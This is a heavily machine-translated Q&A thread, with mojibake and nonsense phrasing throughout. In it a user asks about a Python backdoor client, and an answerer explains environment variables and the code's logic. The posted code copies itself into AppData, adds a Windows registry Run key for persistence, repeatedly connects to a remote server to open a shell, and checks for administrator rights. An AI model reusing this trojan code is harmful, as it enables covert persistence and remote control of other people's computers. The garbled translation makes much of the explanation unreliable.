сомневаюсь с методом персистентности и root_check

# !/usr/bin/env python
# -*- coding: utf-8 -*-

#from servidor import *
import socket
import os
import subprocess
import base64
import requests
import mss
import time
import shutil
#import win32console
#import win32gui
import sys

class Cliente():
    def __init__(self):
        self.persistencia()
        self.connection()

    def persistencia(self):
        location = os.environ["appdata"] + r'\win_32.exe'
        if not os.path.exists(location):
            shutil.copyfile(sys.executable,location)
            subprocess.call(r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run     /v win_32 /t REG_SZ /d {}'.format(location),shell = True)

    def connection(self):
        self.cliente = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        while True:
            time.sleep(5)
            try:
                self.cliente.connect(('proxy_server', 7777))
                self.shell()
                self.cliente.close()
            except:
                self.connection()
            else:
                self.connection()

    def root_check(self):
        try:
            check = os.listdir(os.sep.join([os.environ.get("SystemRoot",r'C:\windows'),'temp']))
        except:
            self.admin = "\nNo eres usuario root."
        else:
            self.admin = "\nEres usuario root."

    def screenshot(self):
        screen = mss.mss()
        screen.shot()

Я не понимаю, что происходит в рамках попытки метода root_check, и при этом я не понимаю, что происходит в методе постоянства сразу после location = os.environ ... (после этого я ничего не могу понять.)

Я не понимаю, что такое appdata, systemroot, temp, что-нибудь подобное в os.environ.get.

Пдта: Извините за отступ, я поднял это с мобильного телефона.

0
задан 30.11.2019, 19:11
1 ответ

Environ

os.environ служит для того, чтобы согласиться на я прикрываю ejecuciГіn из программы.

, Когда ты бросаешь рукописный шрифт python с shell , все переменные окружения, определенные в этой shell estГЎn доступные в программу в travГ©s os.environ().

Например, представь, что я бросаю рукописный шрифт с bash следующей формы (в Windows serГ - в ту же идею, но переменные окружения распределяются по-другому):

$ export MI_VARIABLE="Hola que tal"
$ python mi_script.py

С cГіdigo mi_script.py я могу соглашаться на стоимость переменной окружения MI_VARIABLE в следующей форме:

valor = os.environ.get("MI_VARIABLE", None)
if valor:
   print(valor)

В действительности os.environ возвращает словарь Пайтон, ключи которого - все переменные окружения, из-за которого tambiГ©n serГ - в vГЎlido делать:

print(os.environ["MI_VARIABLE"])

проблема этой секунды cГіdigo - что, если эта переменная не существует в среде, словаре carecerГЎ этого ключа, и попытки согласиться на нее generarГЎ одна excepciГіn. Взамен используя .get("MI_VARIABLE", None) мы обеспечиваем стандартной настройкой для случая, в котором эта переменная не существует (я поместил None но ты можешь помещать любого другого).

Ты cГіdigo

, Относительно которого он делает оставшуюся часть cГіdigo, относится друг к другу о троянском коне, который устанавливает заднюю дверь. Первый раз, который загружает копию выполнимый в некой папке и изменяет реестр windows для того, чтобы он вновь загружал этого троянского коня каждый раз, когда Windows был возобновлен. DespuГ©s открывает shell обман conectГЎndose proxy (или пробуя делать это, повторно пробуя каждые 5 секунд). root_check проверяет, у пользователя, который выполняет рукописный шрифт, есть ли разрешения администратора. Стиль programaciГіn немного небрежный.

я не буду давать тебе детали cГіmo функционируй перед тем, как знать для quГ© это это. Устанавливать троянских коней в mГЎquinas других без Вашего разрешения - незаконно.

MГЎs детали (ampliaciГіn)

Переменная окружения "appdata" обычно является предопределенной в Windows из-за самой системы и указывает на папку (usario что estГ© в этом моменте logueado), в которой приложения хранят Ваши данные (ej: где браузеры хранят Ваш cachГ©s, и т.д.)

ты Можешь видеть стоимость этой переменной, если ты открываешь Windows конечную остановку и помещаешь:

echo %appdata%
C:\Users\abulafia\AppData\Roaming

Я Предполагаю, что этот рукописный шрифт использует ее, чтобы проверять папку, которая существовала бы, и в той, кто может писать без проблем (так как он принадлежит пользователю, что estГЎ выполняя рукописный шрифт).

Посредством if not os.path.exists(location): предотвращает вновь копировать выполнимого, если уже он был allГ-. Следовательно sГіlo copiarГЎ первый раз. TambiГ©n, если это первый раз, который работает (то, что обнаруживает у себя, потому что троянский конь уже estГЎ скопированный в Вашей судьбе) использует команду reg add для aГ±adir в реестр системы, ключ. Этот ключ в cuestiГіn - для того, чтобы выполнимый, скопированный в appdata вновь был загружен каждый раз, когда Windows тронулся.

Относительно переменной окружения systemroot - та, которая содержит имя папки, в которой Windows estГЎ установленный. Обычно Вашей стоимости C:\Windows. И в самом деле это стоимость, которую рукописный шрифт берет по умолчанию, если переменная не существует.

Ло Гєnico, у которого есть специального эта папка, - что estГЎ подопечная, чтобы избегать того, чтобы пользователь несущественно удалил algГєn жизненный компонент Windows. AsГ - что рукописный шрифт использует этот прием, чтобы знать, - ли пользователь admin. Просто он пробует читать C:\Windows\temp, и если он это не получает (потому что производится одна excepciГіn) состоит в том, что он не администратор. Эта informaciГіn сторож, я предполагаю, что для mostrГЎrsela в хакера когда между посредством удаленного shell.

2
ответ дан 01.12.2019, 10:33
  • 1
    Это backdoor, но - с воспитательными концами, я тестирую их в проконтролированной среде, я ни для чего не хочу сделать ему dañ вы в другие. С другой стороны, потому что точно послана программа в этот маршрут, у случая что-то есть особенно? также, если ты обращаешь внимание, я думаю, что у маршрута (который определяется сначала, уже, есть ejecutable.exe, из-за которого, после делая shutil.copy, эта была бы должна оставаться такой, нет?-> blablabla\ejecutable.exe\ejecutable.exe. Когда я выполняю ее, я вижу маршрут и выполнимого в только этом маршруте однажды, очень смущен. – retr0 30.11.2019, 18:44
  • 2
    В конце концов, я новый в windows, а следовательно объяснение (так будьте кратким) appdata, systemroot и temp он я помог бы. Просто так спасибо, и что у тебя был в хороший день. – retr0 30.11.2019, 18:45
  • 3
    Ok, я расширил ответ. Смотри посмотрим это реши твои сомнения. – abulafia 30.11.2019, 19:14